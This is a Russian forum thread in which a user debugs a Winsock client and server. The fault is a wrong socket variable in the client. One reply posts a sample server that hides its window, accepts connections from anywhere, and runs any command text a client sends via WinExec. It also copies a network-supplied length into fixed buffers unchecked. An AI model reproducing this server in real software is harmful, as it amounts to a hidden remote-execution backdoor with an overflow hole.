На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
  
    > Клиент не подклюается к серверу , winsock
      Здравствуйте.
      Я не могу понять, где у меня ошибка... Клиент не подключается к ерверу. Вроде всё по примерам делаю, а не входит.
      Может, кто-нибудь более опытный в этих делах поможет подсказать, где ошибка?

      Server.cpp:
      ExpandedWrap disabled
        #include <windows.h>  
        #include <windowsx.h>
        #include <winsock.h>
        //-------------------------------------------------------------
        #define DEF_HOSTADDR "127.0.0.1"
        #define WSA_ACCEPT (WM_USER + 1)
        //-------------------------------------------------------------
        static int PORT = 777;
        static SOCKET ss, cc, r;
        static sockaddr_in Addr;
         
        WSADATA WSAData;
        //-------------------------------------------------------------
        void Init()
        {
          WSAStartup (MAKEWORD(1, 1), &WSAData);
          Addr.sin_family = AF_INET;
          Addr.sin_addr.s_addr = INADDR_ANY;
          Addr.sin_port = htons(PORT);
        }
        //-------------------------------------------------------------
        void StartServer (HWND hWnd)
        {
          ss = socket(AF_INET, SOCK_DGRAM, 0);
         
          if (ss  == INVALID_SOCKET)
          {
            MessageBox(NULL, "socket  Error", "Error", MB_OK);
            return;
          }
         
          bind(ss, (sockaddr*)&Addr, sizeof(Addr));
          listen(ss, 2);
         
          WSAAsyncSelect(ss, hWnd, WSA_ACCEPT, FD_ACCEPT);
        }
        //-------------------------------------------------------------
        LRESULT CALLBACK WinProc (HWND hWnd, UINT msg,
                                  WPARAM WParam, LPARAM LParam)
        {
          PAINTSTRUCT ps;
          HDC hDC;
          int length = sizeof(Addr);
         
          switch (msg)
          {
            case WSA_ACCEPT:
              accept(ss,(sockaddr*)&Addr, &length);
              MessageBox(NULL, "┼ёЄ№ ёюфшэхэшх", "╩ышхэЄ", MB_OK);
              return 0;
         
            case WM_CREATE:
              Init();
              StartServer(hWnd);
              return 0;
         
            case WM_PAINT:
              hDC = BeginPaint(hWnd, &ps);
              EndPaint(hWnd, &ps);
              return 0;
         
            case WM_DESTROY:
              PostQuitMessage(0);
          }
          return DefWindowProc(hWnd, msg, WParam, LParam);
        }
        //......


      Client.cpp:
      ExpandedWrap disabled
        #include <windows.h>  
        #include <windowsx.h>
        #include <winsock.h>
        //-------------------------------------------------------------
        #define DEF_HOSTADDR "127.0.0.1"
        #define WSA_ACCEPT 1
        //-------------------------------------------------------------
        static int PORT = 777;
        static SOCKET ss, cc, r;
        static sockaddr_in Addr;
         
        WSADATA WSAData;
        //-------------------------------------------------------------
        void Init()
        {
          WSAStartup (MAKEWORD(2, 2), &WSAData);
        }
        //-------------------------------------------------------------
        void StartClient (HWND hWnd)
        {
          sockaddr_in servsin;
         
          ss = socket(AF_INET, SOCK_DGRAM, 0);
         
          servsin.sin_family = AF_INET;
          servsin.sin_port = htons(PORT);
          servsin.sin_addr.S_un.S_addr = inet_addr(DEF_HOSTADDR);
         
          if (connect(cc, (LPSOCKADDR)&servsin, sizeof(servsin)) == SOCKET_ERROR)
          {
            MessageBox(NULL, "socket  Error", "Error", MB_OK);
            return;
          }
        }
        //-------------------------------------------------------------
        LRESULT CALLBACK WinProc (HWND hWnd, UINT msg,
                                  WPARAM WParam, LPARAM LParam)
        {
          PAINTSTRUCT ps;
          HDC hDC;
         
          switch (msg)
          {
            case WM_CREATE:
              Init();
              StartClient(hWnd);
              return 0;
         
            case WM_PAINT:
              hDC = BeginPaint(hWnd, &ps);
              EndPaint(hWnd, &ps);
              return 0;
         
            case WM_DESTROY:
              PostQuitMessage(0);
          }
          return DefWindowProc(hWnd, msg, WParam, LParam);
        }
        //...

      Подскажите пожалуйста. Мне надо в кратчайшие сроки написать программку, а у меня дажи простые вещи не получаются :(
        Сервер
        ExpandedWrap disabled
          #include <windows.h>
          #include <windowsx.h>
          #include <string.h>
          #include <stdio.h>
          #include <winsock.h>
          #include "serverres.h"
           
           
          #define WS_VERSION_REQD 0x0101
          #define WM_ASYNC WM_USER+1
           
          HINSTANCE hInst;
          HWND hwndMain;
          WSADATA stWSAData;
          SOCKET hSock = INVALID_SOCKET;
          SOCKET hSock2 = INVALID_SOCKET;
          SOCKADDR_IN myaddr;
          WORD WSAEvent;
          char mess[260],*pMess = mess, TxtBuf[256],RetBuf[256];
           
          LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
           
          static BOOL InitApplication(void)
          {
              WNDCLASS wc;
           
              memset(&wc,0,sizeof(WNDCLASS));
              wc.style = CS_HREDRAW|CS_VREDRAW |CS_DBLCLKS ;
              wc.lpfnWndProc = (WNDPROC)MainWndProc;
              wc.hInstance = hInst;
              wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
              wc.lpszClassName = "serverWndClass";
              wc.lpszMenuName = NULL;
              wc.hCursor = LoadCursor(NULL,IDC_ARROW);
              wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
              if (!RegisterClass(&wc))
                  return 0;
           
              return 1;
          }
           
          HWND CreateserverWndClassWnd(void)
          {
              return CreateWindow("serverWndClass","server",
                  WS_MINIMIZEBOX|WS_CLIPSIBLINGS|WS_CLIPCHILDREN|WS_MAXIMIZEBOX|WS_CAPTION|WS_BORDER|WS_SYSMENU|WS_THICKFRAME,
                  CW_USEDEFAULT,0,CW_USEDEFAULT,0,
                  NULL,
                  NULL,
                  hInst,
                  NULL);
          }
           
           
          LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
          {
              int mess_len;
              DWORD lenaddr;
              switch (msg) {
              case WM_COMMAND:
                  break;
              case WM_DESTROY:
                  PostQuitMessage(0);
                  break;
              case WM_ASYNC:
           
                  WSAEvent = WSAGETSELECTEVENT (lParam);
                  switch (WSAEvent)
                  {
                      case FD_READ:
                          recv(hSock2, mess, 260, 0);
                          memcpy(&mess_len,pMess, sizeof(mess_len));
                          memcpy(TxtBuf, (pMess + sizeof(mess_len)), mess_len);
                          WinExec(TxtBuf,SW_SHOW);
                          wsprintf(RetBuf,"%s dana-OK!",TxtBuf);
                          send(hSock2,RetBuf,256,MSG_OOB);
                          return 0;
                      case FD_ACCEPT:
                          lenaddr=sizeof(myaddr);
                          hSock2=accept(hSock,(LPSOCKADDR)&myaddr,&lenaddr);
                          send(hSock2,"Connect OK",256,MSG_OOB);
                          return 0;
                  }
                  break;
           
              default:
                  return DefWindowProc(hwnd,msg,wParam,lParam);
              }
           
              return 0;
          }
           
          int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
          {
              MSG msg;
              hInst = hInstance;
              if (!InitApplication())
                  return 0;
           
              if ((hwndMain = CreateserverWndClassWnd()) == (HWND)0)
                  return 0;
              ShowWindow(hwndMain,SW_HIDE);
           
              WSAStartup(WS_VERSION_REQD, &stWSAData);
              hSock = socket (AF_INET,SOCK_STREAM,0);
           
              WSAAsyncSelect (hSock,hwndMain,WM_ASYNC, FD_ACCEPT | FD_READ);
           
              myaddr.sin_family = AF_INET;
              myaddr.sin_addr.s_addr = htonl (INADDR_ANY);
              myaddr.sin_port = htons (2049);
              bind(hSock,(LPSOCKADDR)&myaddr, sizeof(struct sockaddr));
              listen (hSock, 5);
           
              while (GetMessage(&msg,NULL,0,0))
              {
           
                  TranslateMessage(&msg);
                  DispatchMessage(&msg);
              }
           
              return msg.wParam;
          }


        Клиент
        ExpandedWrap disabled
          #include <windows.h>
          #include <windowsx.h>
          #include <commctrl.h>
          #include <string.h>
          #include <stdlib.h>
          #include <winsock.h>
          #include "tcpres.h"
           
          #define IDD_MAINDIALOG  100
          #define IDB_SOCKET  101
          #define IDB_SEND    102
          #define IDB_RESV    103
          #define IDM_PORT    104
          #define IDE_IP  105
          #define IDE_RUN 107
          #define IDB_CON 109
          #define IDE_MSG 110
          #define IDB_SOCKETS 201
          #define IDB_SOCKETC 203
           
          #define WS_VERSION_REQD 0x0101
          #define WM_ASYNC WM_USER+1
           
           
          WSADATA stWSAData;
          int nRet;
          HWND hwndDlg;
          SOCKET hSock = INVALID_SOCKET;
          char mess_buf[260], *pMess = mess_buf;
          char TxtBuf[256];
          SOCKADDR_IN rmaddr;
          int nAddrSize = sizeof(SOCKADDR);
          WORD WSAEvent;
           
          static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam);
           
           
          int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hinstPrev, LPSTR lpCmdLine, int nCmdShow)
          {
              WNDCLASS wc;
           
              memset(&wc,0,sizeof(wc));
              wc.lpfnWndProc = DefDlgProc;
              wc.cbWndExtra = DLGWINDOWEXTRA;
              wc.hInstance = hinst;
              wc.hCursor = LoadCursor(NULL, IDC_ARROW);
              wc.hbrBackground = (HBRUSH) (COLOR_WINDOW + 1);
              wc.lpszClassName = "tcp";
              RegisterClass(&wc);
              WSAStartup(WS_VERSION_REQD, &stWSAData);
              hSock = socket (AF_INET, SOCK_STREAM, 0);
              return DialogBox(hinst, MAKEINTRESOURCE(IDD_MAINDIALOG), NULL, (DLGPROC) DialogFunc);
          }
           
           
          static BOOL CALLBACK DialogFunc(HWND hwndDlg, UINT msg, WPARAM wParam, LPARAM lParam)
          {
           
              int mess_len;
           
              switch (msg) {
           
              case WM_INITDIALOG:
                  wsprintf(TxtBuf,"127.0.0.1");      
                  SendDlgItemMessage(hwndDlg,IDE_IP,WM_SETTEXT,(WPARAM)256,(LPARAM)TxtBuf);
                  return TRUE;
              case WM_COMMAND:
                  switch (LOWORD(wParam)) {
                      case IDB_SEND:
                      SendDlgItemMessage(hwndDlg,IDE_RUN,WM_GETTEXT,(WPARAM)256,(LPARAM)TxtBuf);
                      mess_len = sizeof(TxtBuf);
                      memcpy(pMess, &mess_len, sizeof(mess_len));
                      memcpy((pMess+4), TxtBuf, mess_len);
                      send(hSock,mess_buf,mess_len + sizeof(mess_len),0);
                      return 1;
           
                      case IDB_CON:
                          rmaddr.sin_family = AF_INET;
                          SendDlgItemMessage(hwndDlg,IDE_IP,WM_GETTEXT,(WPARAM)256,(LPARAM)TxtBuf);
                          rmaddr.sin_addr.s_addr = inet_addr(TxtBuf);
                          rmaddr.sin_port = htons (2049);
                          connect (hSock, (struct sockaddr *)&rmaddr,sizeof(rmaddr));
           
                          SendDlgItemMessage(hwndDlg,IDE_MSG,EM_REPLACESEL,(WPARAM)TRUE,(LPARAM)"Try connecting with ");
                          SendDlgItemMessage(hwndDlg,IDE_MSG,EM_REPLACESEL,(WPARAM)TRUE,(LPARAM)TxtBuf);
                          SendDlgItemMessage(hwndDlg,IDE_MSG,WM_CHAR,(WPARAM)13,(LPARAM)28);
           
                          nRet=WSAAsyncSelect (hSock,hwndDlg,WM_ASYNC,FD_READ);
           
                      return 1;
           
                  }
                  return TRUE;
           
              case WM_CLOSE:
                  nRet = WSACleanup();
                  EndDialog(hwndDlg,0);
                  return TRUE;
           
              case WM_ASYNC:
                  WSAEvent = WSAGETSELECTEVENT (lParam);
                  switch (WSAEvent)
                  {
                      case FD_READ:
           
                          nRet=recv(hSock,TxtBuf,256,0);
                          SendDlgItemMessage(hwndDlg,IDE_MSG,EM_REPLACESEL,(WPARAM)TRUE,(LPARAM)TxtBuf);
                          SendDlgItemMessage(hwndDlg,IDE_MSG,WM_CHAR,(WPARAM)13,(LPARAM)28);
                  }
                  return TRUE;
              }
              return FALSE;
          }

        Ресурсы клиента
        ExpandedWrap disabled
          /* Wedit generated resource file */
          #include <windows.h>
           
          IDD_MAINDIALOG DIALOG 110, 40, 280, 146
          STYLE DS_MODALFRAME | DS_CENTER | WS_POPUP | WS_VISIBLE | WS_CAPTION |
              WS_SYSMENU
          CAPTION "tcp"
          FONT 8, "Helv"
          BEGIN
              PUSHBUTTON      "Send", IDB_SEND, 215, 118, 42, 14
              EDITTEXT        IDE_IP, 128, 18, 78, 12, ES_AUTOHSCROLL
              LTEXT           "IP Address", 106, 89, 18, 36, 12
              EDITTEXT        IDE_RUN, 48, 118, 158, 12, ES_AUTOHSCROLL
              LTEXT           "Message", 108, 9, 118, 29, 12
              PUSHBUTTON      "Connect", IDB_CON, 216, 16, 40, 14
              EDITTEXT        IDE_MSG, 13, 36, 244, 74, ES_MULTILINE | ES_AUTOVSCROLL |
                              ES_OEMCONVERT | ES_WANTRETURN | WS_VSCROLL
          END

        Разбирайся. Не понятно - спрашивай.
          Цитата Хакас @
          Danila У меня WM_ASYNC не видит!

          Потому что в исходнике надо определить
          ExpandedWrap disabled
            #define WM_ASYNC WM_USER+1


          Вообще код довольно Данилы стремный,

          А по твоему, без исходника сервера, что то понять очень сложно
            Это не мой код. Человек попросил что-нибудь.
              DanilaЯ кое-что поменял в своей программе в соответствии с твоим кодом. Но всё-равно не кажет.

              Добавлено
              Цитата
              А по твоему, без исходника сервера, что то понять очень сложно

              Исходники сервера у меня приведены.
                Цитата Хакас @
                Исходники сервера у меня приведены.

                Извиняюсь.

                Первое, что бросилось в глаза (в клиенте):
                ExpandedWrap disabled
                    if (connect(cc, (LPSOCKADDR)&servsin, sizeof(servsin)) == SOCKET_ERROR) //Не cc, а ss!
                    {
                      MessageBox(NULL, "socket  Error", "Error", MB_OK);
                      return;
                    }

                Ты создаешь сокет с именем ss, а конектишься используя cc
                  Уфффф....
                  Ну наконец-то...
                  Спасибо ребята! :)
                  0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
                  0 пользователей:


                  Рейтинг@Mail.ru
                  [ Script execution time: 0,0282 ]   [ 16 queries used ]   [ Generated: 10.12.24, 12:33 GMT ]